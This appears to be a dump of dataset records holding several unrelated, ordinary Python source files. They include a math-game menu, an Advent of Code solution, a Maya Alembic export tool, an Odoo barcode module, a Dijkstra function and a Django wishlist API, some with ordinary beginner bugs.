\r\n \r\n\r\n def menu(self):\r\n \r\n QUIT_CHOICE = 5\r\n choice = 0\r\n \r\n while choice != QUIT_CHOICE: \r\n \r\n self.displayMenu()\r\n \r\n choice = int(input(\"Make A Selection: \"))\r\n if choice == 5: # Exit\r\n return False # UI is finished\r\n if choice == 1 :\r\n self.Avatar()\r\n elif choice == 2 :\r\n self.Difficulty()\r\n elif choice == 3 :\r\n self.Game()\r\n else:\r\n print(\"Please make another selection.\")\r\n return True \r\n \r\n \r\n \r\n # print(\"Welcome To Data Wars\")\r\n # time.sleep(1)\r\n # self.Avatar()\r\n # print(f'Your avatar is {avatar}')\r\n # time.sleep(1)\r\n # print(\"2.Memory Bank \")\r\n # print(\"3.Number Guesser \")\r\n # print(\"5.Exit\")\r\n \r\n def Avatar(self):\r\n #avatar selection\r\n avatars = ['Knight','Wizard', 'Pirate', 'Robot', 'Ninja']\r\n print('Please choose an avatar')\r\n for i in range(len(avatars)):\r\n print(f'{i+1}. {avatars[i]}')\r\n \r\n \r\n avatar_choice = int(input())\r\n avatar = avatars[avatar_choice -1]\r\n print(f'You have choosen {avatar}') \r\n\r\n \r\n \r\n \r\n \r\n def Difficulty(self):\r\n # difficulty selection\r\n difficulty_levels = ['Easy', 'Medium', 'Hard']\r\n print('Please choose a difficulty level: ')\r\n for i in range(len(difficulty_levels)):\r\n print(f'{i+1}. {difficulty_levels[i]}')\r\n \r\n \r\n difficulty_choice = int(input())\r\n difficulty = difficulty_levels[difficulty_choice -1]\r\n print(f'You have chosen {difficulty}')\r\n \r\n \r\n \r\n def Game(self):\r\n \r\n \r\n \r\n print(\"Choose your level:\")\r\n print(\"1. AdditionAlley\")\r\n print(\"2. SubtractionSquare\")\r\n print(\"3. MultiplicationMetro\")\r\n print(\"4. DivisionDucks\")\r\n\r\n level = int(input())\r\n if level == 1:\r\n AdditionAlley()\r\n elif level == 2:\r\n SubtractionSquare()\r\n elif level == 3:\r\n MultiplicationMetro()\r\n elif level == 4:\r\n DivisionDucks()\r\n else:\r\n print(\"Invalid level!\")\r\n \r\n # def displayGame(self):\r\n # print(\"The Game is Starting!\")\r\n # print(\"Your Avatar:\", self.logic.getAvatar())\r\n # print(\"Difficulty:\", self.logic.getDifficulty())\r\n # print(\"Good Luck!\")\r\n \r\n # def playGame(self):\r\n # #self.displayGame()\r\n # question_type = self.logic.getQuestion()\r\n \r\n # if question_type == \"Addition\":\r\n # print(\"Addition Question\")\r\n # print(\"\")\r\n # game = AdditionAlley()\r\n # game.play()\r\n \r\n # elif question_type == \"Subtraction\":\r\n # print(\"Subtraction Question\")\r\n # print(\"\")\r\n # game = SubtractionSquare()\r\n # game.play()\r\n \r\n # elif question_type == \"Multiplication\":\r\n # print(\"Multiplication Question\")\r\n # print(\"\")\r\n # game = MultiplicationMetro()\r\n # game.play()\r\n \r\n # elif question_type == \"Division\":\r\n # print(\"Division Question\")\r\n # print(\"\")\r\n # game = DivisionDucks()\r\n # game.play()\r\n \r\n # def playAgain(self):\r\n # print(\"Do you want to play again?\")\r\n # print(\"1. Yes\")\r\n # print(\"2. No\")\r\n # again = int(input(\"Make A Selection: \"))\r\n # if again == 1:\r\n # self.Game()\r\n # elif again == 2:\r\n # self.menu()\r\n # else:\r\n # print(\"Invalid Selection\")\r\n # self.playAgain() \r\n \r\n \r\n \r\n \r\n # def ContinueGame(self,contLoop,checkLoop):\r\n # while contLoop == False:\r\n # cont = input(\"Continue Y/N -->\")\r\n # if cont.lower() == \"y\":\r\n # contLoop = True\r\n # print(\"\")\r\n # elif cont.lower() == \"n\":\r\n # return False\r\n # else:\r\n # print(\"Invalid Input!\")\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n# just set up and launch the UI \r\n \r\ndef main():\r\n app = DataWars_UI()\r\n app.menu()\r\n \r\n \r\nif __name__ == \"__main__\":\r\n main()\r\n ","repo_name":"Grogu-e/Grogu-e.github.io","sub_path":"DataWarsVersion02_Menu.py","file_name":"DataWarsVersion02_Menu.py","file_ext":"py","file_size_in_byte":5582,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"22675670314","text":"# Day 1: Sonar Sweep\n\nINPUT_FILE_NAME = \"./inputs/day01input.txt\"\nTEST_FILE_NAME = \"./inputs/day01testinput.txt\"\n\ndef parse_file(file_nm):\n '''\n Returns a list of sea depth measurements retrieved from the sonar sweep.\n '''\n numbers_lst = []\n\n file = open(file_nm)\n for line in file:\n numbers_lst.append(int(line.strip('\\n')))\n file.close()\n\n return numbers_lst\n\ndef count_increased_measurements(numbers_lst):\n '''\n Counts the number of times a depth measurement increases from \n the previous measurement.\n '''\n counter = 0\n curr = numbers_lst[0]\n\n for i in range(1, len(numbers_lst)):\n if numbers_lst[i] > curr:\n counter += 1\n curr = numbers_lst[i]\n return counter\n\ndef count_increased_sums(numbers_lst):\n '''\n Counts the number of times the sum of depth measurements in a \n three-measurement sliding-window increases from the previous sum.\n '''\n counter = 0\n sliding_window = numbers_lst[:3]\n curr_sum = sum(sliding_window)\n counter = 0\n\n for i in range(3, len(numbers_lst)):\n sliding_window[0], sliding_window[1] = sliding_window[1], sliding_window[2]\n sliding_window[2] = numbers_lst[i]\n\n if sum(sliding_window) > curr_sum:\n counter += 1\n\n curr_sum = sum(sliding_window)\n return counter\n\ndef solve_part_one(numbers_lst):\n return count_increased_measurements(numbers_lst)\n\ndef solve_part_two(numbers_lst):\n return count_increased_sums(numbers_lst)\n\ndef main():\n test_numbers_lst = parse_file(TEST_FILE_NAME)\n assert(solve_part_one(test_numbers_lst) == 7)\n assert(solve_part_two(test_numbers_lst) == 5)\n\n numbers_lst = parse_file(INPUT_FILE_NAME)\n print('Part One:', solve_part_one(numbers_lst))\n print('Part Two:', solve_part_two(numbers_lst))\n\nmain()\n","repo_name":"cinderlee/advent-of-code","sub_path":"2021/day01.py","file_name":"day01.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"40004254968","text":"'''\n :package: izes_tools\n :file: data_management.py\n :author: ldepoix\n :version: 0.0.2\n :brief: System to handle packing of production scene to a directory.\n'''\nimport os\nimport shutil\n\nfrom maya import cmds\nimport maya.mel as mel\n\nfrom setDressTools import SetDressTools\n\ndef export_setdressing(auto_output_path=True, use_selection=True):\n cmds.loadPlugin('AbcExport2')\n\n # Find the range of the shot.\n frame_range = (\n int(cmds.playbackOptions(query=True, animationStartTime=True)),\n int(cmds.playbackOptions(query=True, animationEndTime=True))\n )\n\n if(auto_output_path):\n # Get shot datas from path.\n scene_path = cmds.file(q=True, sn=True)\n sequence = scene_path.split(\"/\")[4]\n shot = scene_path.split(\"/\")[5]\n version = scene_path.split(\".\")[-2]\n version_number = int(version.replace(\"v\", \"\"))\n\n output_path = os.path.join(\n \"O:\\\\shows\",\n \"IZES\",\n \"sequences\",\n sequence,\n shot,\n \"publishs\",\n \"ANM\",\n version,\n \"caches\"\n )\n\n output_path = output_path.replace(\"\\\\\", \"/\")\n\n else:\n output_path = cmds.fileDialog2(fileMode=2, caption=\"Export Animated Set Dress\")\n output_path = output_path[0]\n\n sequence = output_path.split(\"/\")[4]\n shot = output_path.split(\"/\")[5]\n version_number = int(output_path.split(\"/\")[-1].replace(\"v\", \"\"))\n \n objects_filter = []\n if(use_selection and len(cmds.ls(sl=True)) > 0):\n objects_filter = [object.split(\"|\")[1] for object in cmds.ls(sl=True, long=True) if len(object.split(\"|\")) == 2]\n print(f'Selected objects: {\" - \".join(objects_filter)}')\n\n exporter = ShotExporter(output_path, frame_range, sequence, shot, version_number, objects_filter=objects_filter)\n\nclass ShotExporter:\n def __init__(self, output_path, frame_range, sequence, shot, version_number, objects_filter=[])->None:\n self.__output_path = output_path\n self.__frame_range = frame_range\n self.__sequence = sequence\n self.__shot = shot\n self.__version_number = version_number\n\n self.__objects_filter = objects_filter\n\n # Export Characters.\n self.export_characters()\n\n # Export Cameras.\n self.export_cameras()\n\n # Process the background\n self.__setdress_objects = self.find_objects_by_keyword_in_path(\"/assets/environment/\")\n self.__setdress_objects = self.find_objects_by_keyword_in_path(\"/assets/Environment/\")\n self.__setdress_objects.extend(self.find_objects_by_keyword_in_path(\"/assets/Prop/\"))\n self.__setdress_objects.extend(self.find_objects_by_keyword_in_path(\"/assets/Props-Nature/\"))\n \n self.__processed_setdress_objects = self.process_objects()\n\n full_animated_objects = [object_data[\"name\"] for object_data in self.__processed_setdress_objects if object_data[\"animated\"]]\n full_static_objects = [object_data[\"name\"] for object_data in self.__processed_setdress_objects if not object_data[\"animated\"]]\n\n full_objects = []\n full_objects.extend(full_animated_objects)\n full_objects.extend(full_static_objects)\n\n set_dress_names = set([object.split(\":\")[0] for object in full_objects if object.count(\":\") > 1])\n\n for set_dress_name in set_dress_names:\n # Exporting animated objects.\n print(f\"Exporting animated setdress assets for {set_dress_name}.\")\n animated_objects = [object for object in full_animated_objects if set_dress_name in object]\n self.export_deformed_to_disk(animated_objects, set_dress=True, set_dress_name=set_dress_name)\n\n # Exporting static objects.\n print(f\"Exporting static setdress assets for {set_dress_name}.\")\n static_objects = [object for object in full_static_objects if set_dress_name in object]\n output_path = f'{self.__output_path}/set_dressing/{set_dress_name}/ANM_{self.__sequence}_{self.__shot}_staticObjects.v{str(self.__version_number).zfill(3)}.abc'\n self.create_output_directory(output_path)\n sdt = SetDressTools()\n sdt.export(1001, 1001, output_path, objects=static_objects)\n \n print(f\"Exporting animated objects not in the set dress.\")\n extend_pieces = [object for object in full_objects if object.split(\":\")[0] not in set_dress_names]\n self.export_deformed_to_disk(extend_pieces, set_dress=True, set_dress_name=\"\")\n \n\n def process_objects(self):\n \"\"\"This function inspect every objects to check if they need to be exported as transforms or as meshs.\n\n Returns:\n dict: List of objects with the corresponding namespace and the tag for animation.\n \"\"\"\n obj_datas = []\n\n for obj in self.__setdress_objects:\n obj_namespace = \":\".join(obj.split(\":\")[:-1])\n \n # Parse datas.\n datas = {\n \"name\" : obj,\n \"obj_namespace\" : obj_namespace,\n \"animated\": False\n }\n\n if(not cmds.objExists(f'{obj_namespace}:main_SRT_local')\n or not cmds.objExists(f'{obj_namespace}:main_SRT_global')):\n print(f'Invalid rig for: {obj_namespace}')\n continue\n\n # Get the list of the sub-controllers.\n controllers_to_check = [\"main_SRT_global\", \"main_SRT_local\"]\n controllers_extended = cmds.listRelatives(f'{obj_namespace}:main_SRT_local', children=True, allDescendents=True, type=\"transform\")\n \n if(controllers_extended != None):\n controllers_extended = [obj.split(\":\")[-1] for obj in controllers_extended if \"_CON\" in obj]\n controllers_to_check.extend(controllers_extended)\n \n # Check if controllers for keys.\n for controller in controllers_to_check:\n keyframes = cmds.keyframe(f'{obj_namespace}:{controller}', time=self.__frame_range, query=True)\n\n if(keyframes != None):\n # print(f'Object {controller} is keyed!')\n datas[\"animated\"] = True\n break\n \n # Otherwise, check for rest pose on sub-controllers.\n if(datas[\"animated\"] is False and controllers_extended != None):\n for sub_controller in controllers_extended:\n if(cmds.getAttr(f'{obj_namespace}:{sub_controller}.matrix') != \\\n [1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0]):\n # print(f'{sub_controller} moved.')\n datas[\"animated\"] = True\n break\n \n obj_datas.append(datas)\n \n return obj_datas\n \n def export_characters(self):\n \"\"\"Export every characters of the scene.\n \"\"\"\n print(\"Exporting Characters: \")\n\n objects = self.find_objects_by_keyword_in_path(\"/assets/Character/\")\n\n for i, character in enumerate(objects):\n asset = character.split(\":\")[character.count(\":\")-1]\n instance = character.split(\":\")[0].split(\"_\")[-1]\n\n output_path = f'{self.__output_path}/ANM_{self.__sequence}_{self.__shot}_{asset}.v{str(self.__version_number).zfill(3)}.abc'\n self.create_output_directory(output_path)\n\n all_objs = cmds.listRelatives(character, allDescendents=True, fullPath=True, path=True, type=\"shape\")\n to_export_objs = [\n f\"{'|'.join(obj.split('|')[:-1])}\" for obj in all_objs\n if not \"rig_GRP\" in obj\n and not \"bones_GRP\" in obj\n and not \"blendShapes\" in obj\n ]\n\n roots = \"-root \" + \" -root \".join(to_export_objs)\n\n command = f'AbcExport2 -j \"-frameRange {self.__frame_range[0]} {self.__frame_range[1]} -stripNamespaces -uvWrite -dataFormat ogawa {roots} -file {output_path}\";'\n print(f\"Exporting `{asset}`: {i+1}/{len(objects)}\")\n mel.eval(command)\n\n def export_cameras(self):\n \"\"\"Export every cameras of the scene.\n \"\"\"\n camera_rigs = self.find_objects_by_keyword_in_path(\"/assets/Camera/\")\n \n for i, rig in enumerate(camera_rigs):\n namespace = rig.split(\":\")[0]\n\n output_path = f'{self.__output_path}/ANM_{self.__sequence}_{self.__shot}_{namespace}.v{str(self.__version_number).zfill(3)}.abc'\n self.create_output_directory(output_path)\n\n to_export_camera = f\"-root {namespace}:main_persp\"\n\n command = f'AbcExport -j \"-frameRange {self.__frame_range[0]} {self.__frame_range[1]} -stripNamespaces -uvWrite -worldSpace -dataFormat ogawa {to_export_camera} -file {output_path}\";'\n print(f\"Exporting `{rig}`: {i+1}/{len(camera_rigs)}\")\n mel.eval(command)\n\n def export_deformed_to_disk(self, objects, set_dress=False, set_dress_name=\"\"):\n \"\"\"Utility function to export on disk deformed assets.\n\n Args:\n objects (list): List of objects root.\n \"\"\"\n for i, elem in enumerate(objects):\n asset = elem.split(\":\")[elem.count(\":\")-1]\n instance = elem.split(\":\")[0].split(\"_\")[-1]\n\n if(set_dress):\n if(set_dress_name == \"\"):\n output_path = f'{self.__output_path}/set_dressing/ANM_{self.__sequence}_{self.__shot}_{asset}.v{str(self.__version_number).zfill(3)}.abc'\n else:\n output_path = f'{self.__output_path}/set_dressing/{set_dress_name}/ANM_{self.__sequence}_{self.__shot}_{asset}.v{str(self.__version_number).zfill(3)}.abc'\n else:\n output_path = f'{self.__output_path}/ANM_{self.__sequence}_{self.__shot}_{asset}.v{str(self.__version_number).zfill(3)}.abc'\n \n self.create_output_directory(output_path)\n\n command = f'AbcExport2 -j \"-frameRange {self.__frame_range[0]} {self.__frame_range[1]} -stripNamespaces -uvWrite -worldSpace -dataFormat ogawa -root |{elem} -file {output_path}\";'\n print(f\"Exporting `{asset}`: {i+1}/{len(objects)}\")\n mel.eval(command)\n \n def find_objects_by_keyword_in_path(self, keyword):\n \"\"\"Find every references with a keyword in their path.\n\n Args:\n keyword (str): Part to find in the path\n\n Returns:\n list: List of objects.\n \"\"\"\n objects = []\n \n for ref in cmds.ls(references=True):\n reference_path = cmds.referenceQuery(ref, filename=True)\n \n if(not keyword in reference_path):\n continue\n \n nodes = cmds.referenceQuery(ref, nodes=True, showDagPath=True)\n if(nodes == None): continue # Needed when a ref is unloaded.\n\n if(len(nodes) > 0):\n if(self.__objects_filter != []):\n if(nodes[0] in self.__objects_filter):\n objects.append(nodes[0])\n else:\n objects.append(nodes[0])\n \n return objects\n \n def create_output_directory(self, path):\n if(os.path.isdir(os.path.dirname(path)) == False):\n os.makedirs(os.path.dirname(path))\n \n return\n\ndef export_character_animation():\n \"\"\"Export selection to animation publish directory.\n \"\"\"\n # Ask for Version.\n version = cmds.promptDialog(\n title='Export Animation',\n message='Enter Version:',\n button=['OK', 'Cancel'],\n defaultButton='OK',\n cancelButton='Cancel',\n dismissString='Cancel'\n )\n\n if version != 'OK':\n print(\"Export aborded.\")\n return\n\n version_number = str(cmds.promptDialog(query=True, text=True))\n\n # Get shot datas from path.\n scene_path = cmds.file(q=True, sn=True)\n sequence = scene_path.split(\"/\")[4]\n shot = scene_path.split(\"/\")[5]\n\n in_frame = int(cmds.playbackOptions(query=True, animationStartTime=True))\n out_frame = int(cmds.playbackOptions(query=True, animationEndTime=True))\n\n # Export each elements.\n for i, elem in enumerate(cmds.ls(sl=True)):\n asset = elem.split(\":\")[0]\n instance = elem.split(\":\")[0].split(\"_\")[-1]\n \n output_path = os.path.join(\n \"O:\\\\shows\",\n \"IZES\",\n \"sequences\",\n sequence,\n shot,\n \"publishs\",\n \"ANM\",\n f\"v{version_number.zfill(3)}\",\n \"caches\",\n f\"ANM_{sequence}_{shot}_{asset}.v{version_number.zfill(3)}.abc\" \n )\n \n output_dir = os.path.dirname(output_path)\n \n if(os.path.isdir(output_dir) == False):\n os.makedirs(output_dir)\n \n # Export ABC\n output_path = output_path.replace(\"\\\\\", \"/\")\n command = f'AbcExport2 -j \"-frameRange {in_frame} {out_frame} -stripNamespaces -uvWrite -worldSpace -dataFormat ogawa -root |{elem} -file {output_path}\";'\n # print(command)\n print(f\"Exporting {asset} > {i+1}/{len(cmds.ls(sl=True))}\")\n mel.eval(command)\n\n print(\"Export DONE\")\n\ndef export_character_animation2():\n \"\"\"Export selection to animation publish directory.\n \"\"\"\n # Ask for Version.\n version = cmds.promptDialog(\n title='Export Animation',\n message='Enter Version:',\n button=['OK', 'Cancel'],\n defaultButton='OK',\n cancelButton='Cancel',\n dismissString='Cancel'\n )\n\n if version != 'OK':\n print(\"Export aborded.\")\n return\n\n version_number = str(cmds.promptDialog(query=True, text=True))\n\n # Get shot datas from path.\n scene_path = cmds.file(q=True, sn=True)\n sequence = scene_path.split(\"/\")[4]\n shot = scene_path.split(\"/\")[5]\n\n in_frame = int(cmds.playbackOptions(query=True, animationStartTime=True))\n out_frame = int(cmds.playbackOptions(query=True, animationEndTime=True))\n\n # Export each elements.\n for i, elem in enumerate(cmds.ls(sl=True)):\n asset = elem.split(\":\")[0]\n instance = elem.split(\":\")[0].split(\"_\")[-1]\n \n output_path = os.path.join(\n \"O:\\\\shows\",\n \"IZES\",\n \"sequences\",\n sequence,\n shot,\n \"publishs\",\n \"ANM\",\n f\"v{version_number.zfill(3)}\",\n \"caches\",\n f\"ANM_{sequence}_{shot}_{asset}.v{version_number.zfill(3)}.abc\" \n )\n \n output_dir = os.path.dirname(output_path)\n \n if(os.path.isdir(output_dir) == False):\n os.makedirs(output_dir)\n \n # Export ABC\n output_path = output_path.replace(\"\\\\\", \"/\")\n\n all_objs = cmds.listRelatives(elem, allDescendents=True, fullPath=True, path=True, type=\"shape\")\n to_export_objs = [\n obj.replace(f\"|{obj.split('|')[-1]}\", \"\") for obj in all_objs\n if not \"rig_GRP\" in obj\n and not \"bones_GRP\" in obj\n and not \"blendShapes\" in obj\n ]\n\n roots = \"-root \" + \" -root \".join(to_export_objs)\n\n command = f'AbcExport2 -j \"-frameRange {in_frame} {out_frame} -stripNamespaces -uvWrite -worldSpace -dataFormat ogawa {roots} -file {output_path}\";'\n # print(command)\n print(f\"Exporting {asset} > {i+1}/{len(cmds.ls(sl=True))}\")\n mel.eval(command)\n\n print(\"Export DONE\")\n\ndef find_objects_by_keyword_in_path(keyword):\n \"\"\"Find every references with a keyword in their path.\n\n Args:\n keyword (str): Part to find in the path\n\n Returns:\n list: List of objects.\n \"\"\"\n objects = []\n \n for ref in cmds.ls(references=True):\n reference_path = cmds.referenceQuery(ref, filename=True)\n \n if(not keyword in reference_path):\n continue\n \n nodes = cmds.referenceQuery(ref, nodes=True, showDagPath=True)\n if(len(nodes) > 0):\n objects.append(nodes[0])\n \n return objects\n\ndef pack_scene():\n \"\"\"This function start a packing routine to move all the references to a target directory\n \"\"\"\n output_directory = cmds.fileDialog2(fileFilter=\"All Files (*.*)\", fileMode=3, dialogStyle=1)[0]\n\n filepath = cmds.file(q=True, sn=True)\n maya_scene_name = os.path.basename(filepath)\n \n # Save maya file to the target directory.\n cmds.file(rename=os.path.join(output_directory, maya_scene_name))\n cmds.file(save=True, type=\"mayaAscii\")\n\n # Build the folder that will store assets.\n assets_dir_path = os.path.join(output_directory, \"assets\")\n os.makedirs(assets_dir_path, exist_ok=True)\n\n for ref in cmds.ls(references=True):\n # Copy every references to asset's folder.\n print(f'Editing: {ref}')\n\n reference_path = cmds.referenceQuery(ref, filename=True) # This get the path from the reference.\n reference_file_name = os.path.basename(reference_path)\n\n shutil.copy(reference_path, assets_dir_path)\n new_path = os.path.join(assets_dir_path, reference_file_name)\n\n cmds.file(new_path, loadReference=ref) # This retarget the reference.","repo_name":"PiloeGAO/IZES-tools","sub_path":"izes_tools/dccs/maya/data_management.py","file_name":"data_management.py","file_ext":"py","file_size_in_byte":17270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29633583966","text":"\"\"\"Module to create a function that returns multiple values\"\"\"\n\n# Use comma to return multiple values from a function, in python.\n\n# Import modules.\n\nimport clear_screen_module\n\n# Define functions.\n\ndef calculation(fn_num1,fn_num2):\n \"\"\"Function to calculate sum & difference of two numbers\"\"\"\n fn_sum = fn_num1 + fn_num2\n fn_difference = fn_num1 - fn_num2\n return fn_sum,fn_difference # Return multiple values separated by commas.\n\ndef main():\n \"\"\"First function to be called\"\"\"\n clear_screen_module.clear_screen()\n print(\"\"\"\n This script calls a function to calculate sum & difference of\n two numbers & return the sum & difference at same time, to depict a\n function that returns multiple values. Press ENTER to proceed.\n \"\"\")\n input()\n num1 = 40\n num2 = 10\n \"\"\"\n # Get result in tuple format and unpack it.\n total,difference = calculation(num1,num2) # This works.\n print(f\"The numbers are {num1},{num2} & the results are below,\")\n print(total,difference)\n \"\"\"\n res = calculation(num1,num2) # Get result in tuple format.\n #print(f\"{type(res)}\") # returns type as class tuple\n print(f\"The numbers are {num1},{num2} & the results are below,\")\n print(res)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"inderpal2406/python-practice-2022","sub_path":"PYnative/02-function-exercises/ex02_function_returns_multiple_values.py","file_name":"ex02_function_returns_multiple_values.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5976970852","text":"# -*- coding: utf-8 -*-\nfrom odoo import api, models\nfrom random import choice\nfrom string import digits\nimport re\n\n\nclass ProductTemplate(models.Model):\n _inherit = 'product.template'\n\n def write(self, vals):\n rule_id = self.env.user.company_id.barcode_rule_ids\n res = super(ProductTemplate, self).write(vals)\n if rule_id and 'to_weight' in vals and vals['to_weight'] == True or 'barcode' in vals:\n for variant in self.product_variant_ids:\n if variant.to_weight:\n variant.barcode = variant.generate_barcode_for_weight(variant.barcode, rule_id)\n return res\n\n\nclass ProductProduct(models.Model):\n _inherit = 'product.product'\n\n def generate_barcode_for_weight(self, barcode, rule_id):\n pattern = rule_id.pattern\n encoding = rule_id.encoding\n pattern_len = len(pattern) - 2\n numerical_content = re.search(\"[{][N]*[D]*[}]\", pattern)\n if numerical_content:\n num_start = numerical_content.start()\n num_end = numerical_content.end()\n random_no = \"\".join(choice(digits) for i in range(pattern.count('.')))\n first_latter = re.findall('\\d+', pattern)\n dynamic_no = (num_end - num_start - 2) * \"0\"\n new_barcode = first_latter[0] + random_no + dynamic_no + '_'\n if encoding == 'any':\n if not barcode or barcode and not barcode.startswith(first_latter[0]) or not len(barcode) == pattern_len or barcode[num_start:num_end] != dynamic_no:\n new_barcode = new_barcode[0:-1]\n else:\n if not barcode or barcode and not rule_id.barcode_nomenclature_id.check_encoding(barcode, encoding):\n if encoding == 'ean13':\n last_digit = rule_id.barcode_nomenclature_id.ean_checksum(new_barcode)\n if encoding == 'upca':\n last_digit = rule_id.barcode_nomenclature_id.ean_checksum(\"0\"+new_barcode)\n if encoding == 'ean8':\n last_digit = rule_id.barcode_nomenclature_id.ean8_checksum(new_barcode)\n new_barcode = new_barcode.replace(new_barcode[-1], str(last_digit))\n else:\n new_barcode = barcode\n return new_barcode\n\n @api.model_create_multi\n def create(self, vals_list):\n products = super(ProductProduct, self).create(vals_list)\n rule_id = self.env.user.company_id.barcode_rule_ids\n for res in products:\n if rule_id and res.to_weight:\n res.barcode = self.generate_barcode_for_weight(res.barcode, rule_id)\n return products\n\n def write(self, vals):\n rule_id = self.env.user.company_id.barcode_rule_ids\n if rule_id and 'to_weight' in vals and vals['to_weight'] == True or 'barcode' in vals:\n if self.to_weight:\n vals['barcode'] = self.generate_barcode_for_weight(self.barcode, rule_id)\n return super(ProductProduct, self).write(vals)\n","repo_name":"SupercoopManresa/product_weighted_barcode","sub_path":"models/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":3052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29028546476","text":"# Risolvere questo test case: ))()(( \ndef check1_originale(s):\n countOpeningBrackets = 0\n countClosingBrackets = 0\n for i in range(len(s)):\n if (s[i] == '('):\n countOpeningBrackets += 1\n if (s[i] == ')'):\n countClosingBrackets += 1\n return countOpeningBrackets + countClosingBrackets\n\ndef check1(s):\n count = 0\n for i in range(len(s)):\n if (s[i] == '('):\n j = i+1\n trovato = False\n while j <= len(s)-1 and trovato == False:\n if (s[j] == ')'):\n trovato = True\n j += 1\n if (trovato):\n count += 1\n\n return count*2 == check1_originale(s)\n \n\ndef check2(s):\n for i in range(1,len(s)):\n if (s[i-1] == '(' and s[i] == ')'):\n return False\n return True\n\nn = input()\n\nif (check1(n)):\n print(\"ok1\")\nelse:\n print(\"no1\")\n\nif (check2(n)):\n print(\"ok2\")\nelse:\n print(\"no2\")\n","repo_name":"gabrielegrillo/Fondamenti1-Unical","sub_path":"n43.py","file_name":"n43.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30484514361","text":"def dijkstra(start, matrix):\n VERTEX_COUNT = len(matrix)\n visited = [False] * VERTEX_COUNT\n INFINITY = 10 ** 6\n weight = [INFINITY] * VERTEX_COUNT\n weight[start] = 0\n\n for _ in range(VERTEX_COUNT):\n min_weight = INFINITY\n min_vertex = -1\n\n for i in range(VERTEX_COUNT):\n if not visited[i] and min_weight > weight[i]:\n min_vertex = i\n min_weight = weight[i]\n\n for i in range(VERTEX_COUNT):\n current_vertex_weight = matrix[min_vertex][i]\n\n if current_vertex_weight < weight[i]:\n weight[i] = current_vertex_weight\n\n visited[min_vertex] = True\n\n return weight\n","repo_name":"Connormiha/algorithms-python","sub_path":"src/dijkstra.py","file_name":"dijkstra.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12991592481","text":"import string\n\ndef term2Norm(srcPath, srcFile, targFile):\n sentc = ''\n sentt = ''\n src = open(srcFile, 'w')\n tar = open(targFile, 'w')\n punc = string.punctuation\n for line in open(srcPath, 'r'):\n if len(line.strip()) > 1:\n str = line.strip().split('\\t')\n if len(sentc) == 0:\n sentc = str[0]\n sentt = str[2] \n else:\n if str[0] in punc:\n sentc = sentc\n sentt = sentt\n else:\n sentc = sentc + \" \" + str[0]\n sentt = sentt + \" \" + str[2]\n if len(line.strip()) == 0:\n #sentc = sentc.replace(' !!', '!!')\n #sentc = sentc.replace(' ..', '..')\n #sentc = sentc.replace(' ...', '...')\n #sentt = sentt.replace(' !!', '!!')\n #sentt = sentt.replace(' ..', '..')\n #sentt = sentt.replace(' ...', '...')\n print(sentc)\n print(sentt)\n src.write(sentc + ' \\n')\n tar.write(sentt + ' \\n')\n sentc = ''\n sentt = ''\n \nif __name__ == '__main__':\n linux = '/home/hjp/Workshop/Model/'\n mac = '/Users/hjp/Workspace/Workshop/Model/'\n os = 'MAC' # MAC or LINUX\n if os == 'MAC':\n srcPath = mac + 'data/norm/test_set_2.txt'\n srcFile = mac + 'data/tmp/test_set_2_informal.txt'\n tarFile = mac + 'data/tmp/test_set_2_normalization.txt'\n else:\n srcPath = linux + 'data/norm/tweets_normalization_ner.txt'\n srcFile = linux + 'data/tmp/tweets_normalization_ner_informal.txt'\n tarFile = linux + 'data/tmp/tweets_normalization_ner_normalization.txt' \n\n term2Norm(srcPath, srcFile, tarFile)\n","repo_name":"jiangpinghuang/Python1215","sub_path":"src/hjp.mac.python.corpus.toolkit/norm.py","file_name":"norm.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24138863538","text":"from django.views.generic.base import TemplateView\nfrom django.views.generic import View\nfrom django.http import HttpResponse\nfrom rest_framework import mixins\nfrom .serializers import WatchesSerializer, TrackSerializer, vairiantSerializer\nfrom .models import Watches, Varient\nfrom gowatches.users.models import User\nfrom rest_framework import generics\nfrom rest_framework.response import Response\n\n\nclass WatchesAPI(generics.ListAPIView,):\n queryset = Watches.objects.all()\n serializer_class = WatchesSerializer\n\n\nclass VariantAPI(generics.ListAPIView, mixins.CreateModelMixin,):\n queryset = Varient.objects.all()\n serializer_class = vairiantSerializer\n\n\n def post(self, request):\n # nationalid = request.data.get(\"nantional_id\")\n # variant, created = Varient.objects.get_or_create(nantional_id=nationalid)\n \n\n serializer = vairiantSerializer(variant)\n\n return Response(serializer.data)\n\n\nclass variant_detail(mixins.CreateModelMixin, generics.RetrieveUpdateDestroyAPIView):\n queryset = Varient.objects.all()\n serializer_class = vairiantSerializer\n def get(self, request, *args, **kwargs):\n return self.retrieve(request, *args, **kwargs)\n\n def put(self,request,pk=None,format=None):\n variant=self.kwargs[\"pk\"]\n variant_obj = Varient.objects.get(id=variant)\n serializer=vairiantSerializer(variant,data=request.data)\n user = User.objects.get(id=self.request.user.id) \n user.variant_list.add(variant)\n user.save()\n if serializer.is_valid():\n # serializer.save()\n return Response(serializer.data)\n return Response(serializer.data)\n\n","repo_name":"shimaamohamed92/Watches","sub_path":"gowatches/wishlists/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} 